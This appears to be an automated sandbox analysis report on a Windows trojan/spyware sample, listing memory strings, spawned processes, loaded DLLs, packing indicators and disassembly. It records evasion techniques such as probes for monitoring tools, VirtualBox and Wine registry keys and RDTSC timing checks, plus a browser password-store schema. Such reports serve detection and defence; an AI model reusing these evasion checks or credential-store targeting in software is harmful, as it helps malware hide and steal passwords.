Source: 2RxMkSAgZ8.exe, 00000000.00000003.1541243535.0000000005B80000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2RxMkSAgZ8.exe
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1519079662.0000000005A37000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2RxMkSAgZ8.exe
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1524037660.0000000005B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2RxMkSAgZ8.exe
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1539474224.0000000005CA4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2RxMkSAgZ8.exe
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1539920363.0000000005B69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2RxMkSAgZ8.exe
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1523680891.0000000005A36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2RxMkSAgZ8.exe
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1542715973.0000000005B8F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2RxMkSAgZ8.exe
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1518255282.0000000005B06000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2RxMkSAgZ8.exe
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1538998341.0000000005B68000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2RxMkSAgZ8.exe
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1524415363.0000000005A36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2RxMkSAgZ8.exe

Source: 2RxMkSAgZ8.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 2RxMkSAgZ8.exe	Static PE information: Section: ZLIB complexity 0.9998972039473685
Source: 2RxMkSAgZ8.exe	Static PE information: Section: emuggwoy ZLIB complexity 0.99460377952904

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/64@11/7

Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 2RxMkSAgZ8.exe, 00000000.00000003.1391063825.00000000055AE000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390677704.00000000055CA000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1403458421.00000000055BE000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 2RxMkSAgZ8.exe	ReversingLabs: Detection: 60%
Source: 2RxMkSAgZ8.exe	Virustotal: Detection: 51%

Source: 2RxMkSAgZ8.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 2RxMkSAgZ8.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe

File read: C:\Users\user\Desktop\2RxMkSAgZ8.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\2RxMkSAgZ8.exe "C:\Users\user\Desktop\2RxMkSAgZ8.exe"
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2RxMkSAgZ8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=1916,i,16584393808517630229,663544007946421581,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2RxMkSAgZ8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=1916,i,8609925068922302053,18242554948102769659,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2RxMkSAgZ8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2RxMkSAgZ8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=1916,i,16584393808517630229,663544007946421581,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=1916,i,8609925068922302053,18242554948102769659,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: 2RxMkSAgZ8.exe

Static file information: File size 1872384 > 1048576

Source: 2RxMkSAgZ8.exe

Static PE information: Raw size of emuggwoy is bigger than: 0x100000 < 0x19f600

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 2RxMkSAgZ8.exe, 00000000.00000002.1705710628.0000000005FD2000.00000040.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe

Unpacked PE file: 0.2.2RxMkSAgZ8.exe.f00000.1.unpack :EW;.rsrc:W;.idata :W; :EW;emuggwoy:EW;lwcvutlx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;emuggwoy:EW;lwcvutlx:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 2RxMkSAgZ8.exe

Static PE information: real checksum: 0x1cc649 should be: 0x1ca6ce

Source: 2RxMkSAgZ8.exe	Static PE information: section name:
Source: 2RxMkSAgZ8.exe	Static PE information: section name: .idata
Source: 2RxMkSAgZ8.exe	Static PE information: section name:
Source: 2RxMkSAgZ8.exe	Static PE information: section name: emuggwoy
Source: 2RxMkSAgZ8.exe	Static PE information: section name: lwcvutlx
Source: 2RxMkSAgZ8.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FDE9E0 push ecx; mov dword ptr [esp], eax	0_2_05FDF5A5
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FDEDE3 push esi; mov dword ptr [esp], eax	0_2_05FDEDF6
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FE15B2 push edx; mov dword ptr [esp], edi	0_2_05FE2ADC
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FE0D96 push edi; mov dword ptr [esp], esi	0_2_05FE48E1
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FE258C push ebp; mov dword ptr [esp], 3F401E06h	0_2_05FE258D
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FE1587 push edx; mov dword ptr [esp], 14F46E5Eh	0_2_05FE158E
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FDCD80 push 131BF973h; mov dword ptr [esp], edi	0_2_05FDCD89
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FE1573 push ebp; mov dword ptr [esp], 7FBE9D7Bh	0_2_05FE2FBA
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FEE559 push eax; mov dword ptr [esp], 3EEB6149h	0_2_05FEEA43
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FEE559 push ebx; mov dword ptr [esp], 7F6D6700h	0_2_05FEEBCE
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FEE559 push 57423E51h; mov dword ptr [esp], eax	0_2_05FEEBF5
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FE1D4E push ebx; mov dword ptr [esp], ebp	0_2_05FE3CE5
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FE0D48 push ebx; mov dword ptr [esp], edx	0_2_05FE3DC8
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FDC53B push 08436FE2h; mov dword ptr [esp], ebx	0_2_05FDC910
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FE1539 push 7FC710A1h; mov dword ptr [esp], esp	0_2_05FE1544
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FE1539 push edi; mov dword ptr [esp], ecx	0_2_05FE154D
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FE4527 push edx; mov dword ptr [esp], 692C360Ah	0_2_05FE4536
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FDECE3 push 0711044Fh; mov dword ptr [esp], eax	0_2_05FDECE8
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FE34E1 push esi; mov dword ptr [esp], ebx	0_2_05FE34E5
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FE0CCC push ebx; mov dword ptr [esp], esi	0_2_05FE0CDA
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FDECB5 push edx; mov dword ptr [esp], ecx	0_2_05FDECB6
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FDECB5 push 72135518h; mov dword ptr [esp], ecx	0_2_05FDECBE
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FE0C9E push eax; mov dword ptr [esp], ecx	0_2_05FE0CBC
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FDC494 push 08436FE2h; mov dword ptr [esp], ebx	0_2_05FDC910
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FE0C8D push eax; mov dword ptr [esp], 7FD6F200h	0_2_05FE3F22
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FE2C8A push 6F6C13E0h; mov dword ptr [esp], ebx	0_2_05FE4C37
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FE0C7B push edx; mov dword ptr [esp], edi	0_2_05FE0C7C
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FE1466 push ecx; mov dword ptr [esp], ebx	0_2_05FE147C
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FE4448 push edx; mov dword ptr [esp], eax	0_2_05FE4449
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_061E6FA2 push eax; retf	0_2_061E702D
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FF0C3F push 72D8D380h; mov dword ptr [esp], eax	0_2_05FF0DF2

Source: 2RxMkSAgZ8.exe	Static PE information: section name: entropy: 7.978830622751568
Source: 2RxMkSAgZ8.exe	Static PE information: section name: emuggwoy entropy: 7.954386624077765

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10D2827 second address: 10D2848 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A503F448h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10D296D second address: 10D2981 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40A5132E9Dh 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10D2981 second address: 10D2993 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F40A503F43Bh 0x00000008 pop ecx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10D2993 second address: 10D29A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jo 00007F40A5132E96h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10D2C74 second address: 10D2C7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10D2C7A second address: 10D2C7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10D2C7E second address: 10D2C8C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A503F43Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10D2C8C second address: 10D2CB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F40A5132EA0h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F40A5132E9Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10D2E0E second address: 10D2E20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F40A503F43Ch 0x0000000c rdtsc
